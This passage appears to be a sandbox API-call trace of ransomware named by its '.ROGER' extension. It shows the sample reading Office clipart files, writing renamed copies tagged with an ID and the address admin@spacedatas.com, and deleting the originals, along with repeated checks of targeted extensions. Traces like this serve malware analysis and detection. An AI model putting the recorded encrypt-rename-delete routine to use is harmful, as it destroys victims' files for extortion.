Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.346] lstrlenW (lpString=".1cd") returned 4 [0057.346] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.346] lstrlenW (lpString=".jpg") returned 4 [0057.346] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.346] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.346] lstrlenW (lpString="AG00176_.GIF") returned 12 [0057.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.346] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=3120) returned 1 [0057.346] CloseHandle (hObject=0x35c) returned 1 [0057.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0057.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.347] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.347] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0057.347] GetLastError () returned 0x0 [0057.347] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xc30, lpOverlapped=0x0) returned 1 [0057.349] WriteFile (in: hFile=0x39c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xc40, lpOverlapped=0x0) returned 1 [0057.350] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.350] WriteFile (in: hFile=0x39c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.350] SetEndOfFile (hFile=0x39c) returned 1 [0057.350] CloseHandle (hObject=0x39c) returned 1 [0057.350] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.350] SetEndOfFile (hFile=0x35c) returned 1 [0057.351] CloseHandle (hObject=0x35c) returned 1 [0057.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0057.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.351] lstrlenW (lpString=".doc") returned 4 [0057.351] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.351] lstrlenW (lpString=".docx") returned 5 [0057.351] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.351] lstrlenW (lpString=".pdf") returned 4 [0057.352] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.352] lstrlenW (lpString=".xls") returned 4 [0057.352] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.352] lstrlenW (lpString=".xlsx") returned 5 [0057.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.352] lstrlenW (lpString=".ppt") returned 4 [0057.352] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.352] lstrlenW (lpString=".zip") returned 4 [0057.352] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.352] lstrlenW (lpString=".rar") returned 4 [0057.352] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.352] lstrlenW (lpString=".bz2") returned 4 [0057.352] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.352] lstrlenW (lpString=".7z") returned 3 [0057.352] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.352] lstrlenW (lpString=".dbf") returned 4 [0057.352] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.352] lstrlenW (lpString=".1cd") returned 4 [0057.352] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.352] lstrlenW (lpString=".jpg") returned 4 [0057.352] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.352] lstrlenW (lpString=".doc") returned 4 [0057.352] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.352] lstrlenW (lpString=".docx") returned 5 [0057.352] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.353] lstrlenW (lpString=".pdf") returned 4 [0057.353] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.353] lstrlenW (lpString=".xls") returned 4 [0057.353] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.353] lstrlenW (lpString=".xlsx") returned 5 [0057.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.353] lstrlenW (lpString=".ppt") returned 4 [0057.353] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.353] lstrlenW (lpString=".zip") returned 4 [0057.353] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.353] lstrlenW (lpString=".rar") returned 4 [0057.353] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.353] lstrlenW (lpString=".bz2") returned 4 [0057.353] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.353] lstrlenW (lpString=".7z") returned 3 [0057.353] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.353] lstrlenW (lpString=".dbf") returned 4 [0057.353] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.353] lstrlenW (lpString=".1cd") returned 4 [0057.353] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0057.353] lstrlenW (lpString=".jpg") returned 4 [0057.353] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.353] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.353] lstrlenW (lpString="AN00010_.WMF") returned 12 [0057.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.354] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=3026) returned 1 [0057.354] CloseHandle (hObject=0x35c) returned 1 [0057.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0057.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.355] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.355] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0057.355] GetLastError () returned 0x0 [0057.355] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xbd2, lpOverlapped=0x0) returned 1 [0057.356] WriteFile (in: hFile=0x39c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0057.357] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.357] WriteFile (in: hFile=0x39c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.357] SetEndOfFile (hFile=0x39c) returned 1 [0057.357] CloseHandle (hObject=0x39c) returned 1 [0057.358] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.358] SetEndOfFile (hFile=0x35c) returned 1 [0057.358] CloseHandle (hObject=0x35c) returned 1 [0057.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0057.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.359] lstrlenW (lpString=".doc") returned 4 [0057.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.359] lstrlenW (lpString=".docx") returned 5 [0057.359] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.359] lstrlenW (lpString=".pdf") returned 4 [0057.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.359] lstrlenW (lpString=".xls") returned 4 [0057.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.359] lstrlenW (lpString=".xlsx") returned 5 [0057.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.359] lstrlenW (lpString=".ppt") returned 4 [0057.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.359] lstrlenW (lpString=".zip") returned 4 [0057.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.359] lstrlenW (lpString=".rar") returned 4 [0057.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.359] lstrlenW (lpString=".bz2") returned 4 [0057.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.360] lstrlenW (lpString=".7z") returned 3 [0057.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.360] lstrlenW (lpString=".dbf") returned 4 [0057.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.360] lstrlenW (lpString=".1cd") returned 4 [0057.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.360] lstrlenW (lpString=".jpg") returned 4 [0057.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.360] lstrlenW (lpString=".doc") returned 4 [0057.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.360] lstrlenW (lpString=".docx") returned 5 [0057.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.360] lstrlenW (lpString=".pdf") returned 4 [0057.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.360] lstrlenW (lpString=".xls") returned 4 [0057.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.360] lstrlenW (lpString=".xlsx") returned 5 [0057.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.360] lstrlenW (lpString=".ppt") returned 4 [0057.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.360] lstrlenW (lpString=".zip") returned 4 [0057.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.360] lstrlenW (lpString=".rar") returned 4 [0057.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.360] lstrlenW (lpString=".bz2") returned 4 [0057.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.361] lstrlenW (lpString=".7z") returned 3 [0057.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.361] lstrlenW (lpString=".dbf") returned 4 [0057.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.361] lstrlenW (lpString=".1cd") returned 4 [0057.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0057.361] lstrlenW (lpString=".jpg") returned 4 [0057.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.361] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.361] lstrlenW (lpString="AN00015_.WMF") returned 12 [0057.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.361] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=4734) returned 1 [0057.361] CloseHandle (hObject=0x35c) returned 1 [0057.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0057.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.362] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.362] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0057.362] GetLastError () returned 0x0 [0057.362] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x127e, lpOverlapped=0x0) returned 1 [0057.376] WriteFile (in: hFile=0x39c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1280, lpOverlapped=0x0) returned 1 [0057.377] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.377] WriteFile (in: hFile=0x39c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.377] SetEndOfFile (hFile=0x39c) returned 1 [0057.377] CloseHandle (hObject=0x39c) returned 1 [0057.377] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.377] SetEndOfFile (hFile=0x35c) returned 1 [0057.378] CloseHandle (hObject=0x35c) returned 1 [0057.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0057.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.379] lstrlenW (lpString=".doc") returned 4 [0057.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString=".docx") returned 5 [0057.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.379] lstrlenW (lpString=".pdf") returned 4 [0057.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString=".xls") returned 4 [0057.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.379] lstrlenW (lpString=".xlsx") returned 5 [0057.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.379] lstrlenW (lpString=".ppt") returned 4 [0057.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.380] lstrlenW (lpString=".zip") returned 4 [0057.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.380] lstrlenW (lpString=".rar") returned 4 [0057.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString=".bz2") returned 4 [0057.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString=".7z") returned 3 [0057.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.380] lstrlenW (lpString=".dbf") returned 4 [0057.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.380] lstrlenW (lpString=".1cd") returned 4 [0057.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.380] lstrlenW (lpString=".jpg") returned 4 [0057.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.380] lstrlenW (lpString=".doc") returned 4 [0057.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString=".docx") returned 5 [0057.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.380] lstrlenW (lpString=".pdf") returned 4 [0057.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.380] lstrlenW (lpString=".xls") returned 4 [0057.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.380] lstrlenW (lpString=".xlsx") returned 5 [0057.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.380] lstrlenW (lpString=".ppt") returned 4 [0057.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.381] lstrlenW (lpString=".zip") returned 4 [0057.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.381] lstrlenW (lpString=".rar") returned 4 [0057.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.521] lstrlenW (lpString=".bz2") returned 4 [0057.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.521] lstrlenW (lpString=".7z") returned 3 [0057.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.522] lstrlenW (lpString=".dbf") returned 4 [0057.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.522] lstrlenW (lpString=".1cd") returned 4 [0057.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0057.522] lstrlenW (lpString=".jpg") returned 4 [0057.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.522] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.522] lstrlenW (lpString="AN01060_.WMF") returned 12 [0057.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 